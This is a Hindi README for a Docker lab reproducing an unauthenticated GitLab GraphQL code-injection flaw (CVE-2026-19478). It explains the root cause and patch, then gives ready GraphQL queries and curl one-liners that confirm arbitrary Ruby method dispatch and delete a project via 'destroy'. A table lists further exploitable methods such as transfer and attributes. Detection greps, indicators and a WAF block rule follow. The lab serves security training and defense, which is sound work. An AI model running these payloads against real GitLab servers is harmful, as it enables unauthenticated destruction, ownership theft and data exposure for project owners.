
डॉकराइज़्ड एक्सप्लॉइट लैब और स्क्रिप्ट CVE-2026-19478 के लिए, जो एक गंभीर बिना प्रमाणीकरण वाला GitLab GraphQL कोड इंजेक्शन है जो मनमाने Ruby मेथड कॉल्स, प्रोजेक्ट विलोपन और डेटा एक्सफिल्ट्रेशन को सक्षम बनाता है।
अनधिकृत रिमोट कोड इंजेक्शन GitLab CE/EE में GraphQL Directive के माध्यम से — एक Single HTTP Request से किसी भी Public Project को Delete करें
एक व्यावहारिक पेनिट्रेशन टेस्टिंग लैब जो CVE-2026-19478 को दोहराती है, जो GitLab के GraphQL API में एक गंभीर (CVSS 9.4) कमजोरी है। @gl_introduced directive अनधिकृत हमलावरों को सर्वर-साइड ऑब्जेक्ट्स पर मनमाने Ruby तरीकों को निष्पादित करने की अनुमति देता है — जिसमें प्रोजेक्ट विलोपन, डेटा निकासी और स्वामित्व हस्तांतरण शामिल है — बिना किसी प्रमाणीकरण के।
यह लैब व्यावहारिक शोषण अभ्यास के लिए Docker में एक वास्तविक कमजोर GitLab CE 19.2.0 इंस्टेंस चलाता है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-19478 |
| CVSS Score | 9.4 (Critical) |
| Product | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Vulnerability Type | Code Injection / Arbitrary Method Execution (CWE-94) |
| Attack Vector | Network (Remote) |
| Authentication | None required |
| User Interaction | None |
| Attack Complexity | Low |
| Affected Versions | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Patched Versions | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Discovered By | hiimguardian (via HackerOne) |
| Patch Date | August 17, 2026 |
एक अनधिकृत रिमोट हमलावर यह कर सकता है:
GitLab रोलिंग डिप्लॉयमेंट का समर्थन करने के लिए एक कस्टम GraphQL directive @gl_introduced(version: "X.Y") का उपयोग करता है। जब एक नया GitLab संस्करण GraphQL API में एक फ़ील्ड जोड़ता है, पुराने इंस्टेंस उन नए फ़ील्ड्स का संदर्भ देने वाले क्वेरीज़ को त्रुटि देने के बजाय null लौटाकर सुचारू रूप से संभालते हैं।
फ़ाइल: lib/gitlab/graphql/version_filter/future_field_fallback.rb (पंक्तियाँ 14-36)
चरण-दर-चरण विवरण:
FutureFieldFilter आने वाले GraphQL क्वेरीज़ को स्कैन करता है। जब किसी फ़ील्ड में वर्तमान सर्वर से नया संस्करण के साथ @gl_introduced(version) होता है, तो यह फ़ील्ड को हटा देता है और context[:contain_future_fields] = true सेट करता है।
IntroducedTracer निष्पादन के समय मूल क्वेरी दस्तावेज़ को पुनर्स्थापित करता है, हटाए गए फ़ील्ड्स को AST में वापस रखता है।
FutureFieldFallback#get_field निष्पादन के दौरान हर फ़ील्ड लुकअप को रोकता है। यह तीन स्थितियों की जाँच करता है:
contain_future_fields फ़्लैग सेट है? ✅__ से शुरू नहीं होता है? ✅जब तीनों जाँचें पास हो जाती हैं, तो यह बिना किसी रिज़ॉल्वर क्लास के एक नया GraphQL::Schema::Field संश्लेषित करता है।
graphql-ruby में, रिज़ॉल्वर के बिना एक फ़ील्ड अंतर्निहित Ruby ऑब्जेक्ट पर object.public_send(field_name) कॉल करके हल होती है — हमलावर के फ़ील्ड नाम को Project ActiveRecord मॉडल पर एक मनमाने विधि कॉल में परिवर्तित कर देती है।
GitLab का पैच अंतर्निहित विधि डिस्पैच को एक स्पष्ट NilResolver से बदल देता है जो बिना शर्त nil लौटाता है, रोलिंग-डिप्लॉय संगतता को संरक्षित करते हुए मनमाने विधि निष्पादन को समाप्त करता है:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| सेवा | URL | क्रेडेंशियल्स |
|---|---|---|
| GitLab Web UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | None required |
| GraphQL Explorer | http://localhost/-/graphql-explorer | Login required |
| SSH | localhost:2222 | — |
सीमित संसाधनों वाली मशीनों या तेज़ स्टार्टअप के लिए:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
सर्वर संस्करण जाँचें:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
GraphQL के माध्यम से सार्वजनिक प्रोजेक्ट्स की सूची बनाएं (बिना प्रमाणीकरण):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Schema introspection के माध्यम से @gl_introduced directive खोजें:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
स्कीमा में मौजूद नहीं होने वाले फ़ील्ड पर भविष्य के संस्करण के साथ @gl_introduced का उपयोग करें:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
यदि कमजोर है, तो class Ruby क्लास का नाम ("Project") लौटाता है, जो मनमाने विधि डिस्पैच की पुष्टि करता है।
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
चेतावनी: निम्नलिखित प्रोजेक्ट को स्थायी रूप से हटा देगा।
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
GitLab के Project मॉडल पर अन्य शोषणीय तरीके:
| Method | Impact |
|---|---|
destroy | प्रोजेक्ट को स्थायी रूप से हटाता है |
archive | प्रोजेक्ट को संग्रहीत करता है |
transfer | प्रोजेक्ट स्वामित्व स्थानांतरित करता है |
attributes | सभी डेटाबेस विशेषताओं को डंप करता है |
repository | रिपॉज़िटरी ऑब्जेक्ट तक पहुँचता है |
members | प्रोजेक्ट सदस्यों की सूची बनाता है |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| संकेतक | विवरण |
|---|---|
@gl_introduced(version: "99.0") | अवास्तविक रूप से उच्च संस्करण के साथ शोषण का प्रयास |
फ़ील्ड नाम: destroy, delete, update, transfer | विनाशकारी ActiveRecord तरीकों को लक्षित करना |
| अप्रत्याशित प्रोजेक्ट विलोपन | एडमिन कार्रवाई के बिना प्रोजेक्ट गायब होना |
| दृश्यता परिवर्तन | सार्वजनिक प्रोजेक्ट अचानक निजी हो जाना |
| स्वामित्व हस्तांतरण | अज्ञात उपयोगकर्ताओं को प्रोजेक्ट स्थानांतरित होना |
उच्च संस्करण संख्याओं वाले @gl_introduced युक्त GraphQL अनुरोधों को ब्लॉक करें:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced युक्त GraphQL अनुरोधों को ब्लॉक करेंयह लैब विशेष रूप से अधिकृत सुरक्षा शिक्षा और पेनिट्रेशन टेस्टिंग प्रशिक्षण के लिए बनाई गई है। इसका उपयोग केवल नियंत्रित, पृथक वातावरण में किया जाना चाहिए जो आपके स्वामित्व में हो या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण हो।
बिना उचित प्राधिकरण के किसी भी सिस्टम के खिलाफ इस लैब की तकनीकों, उपकरणों या शोषण कोड का उपयोग न करें। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (CFAA) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है।
लेखक और योगदानकर्ता इस लैब या इसकी सामग्री के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।
दैनिक साइबर सुरक्षा युक्तियों, CVE विश्लेषण और शोषण वॉकथ्रू के लिए Instagram पर @pwnsystem को फॉलो करें।
पेशेवर सुरक्षा अंतर्दृष्टि और लैब अपडेट के लिए Punit Darji से LinkedIn पर जुड़ें।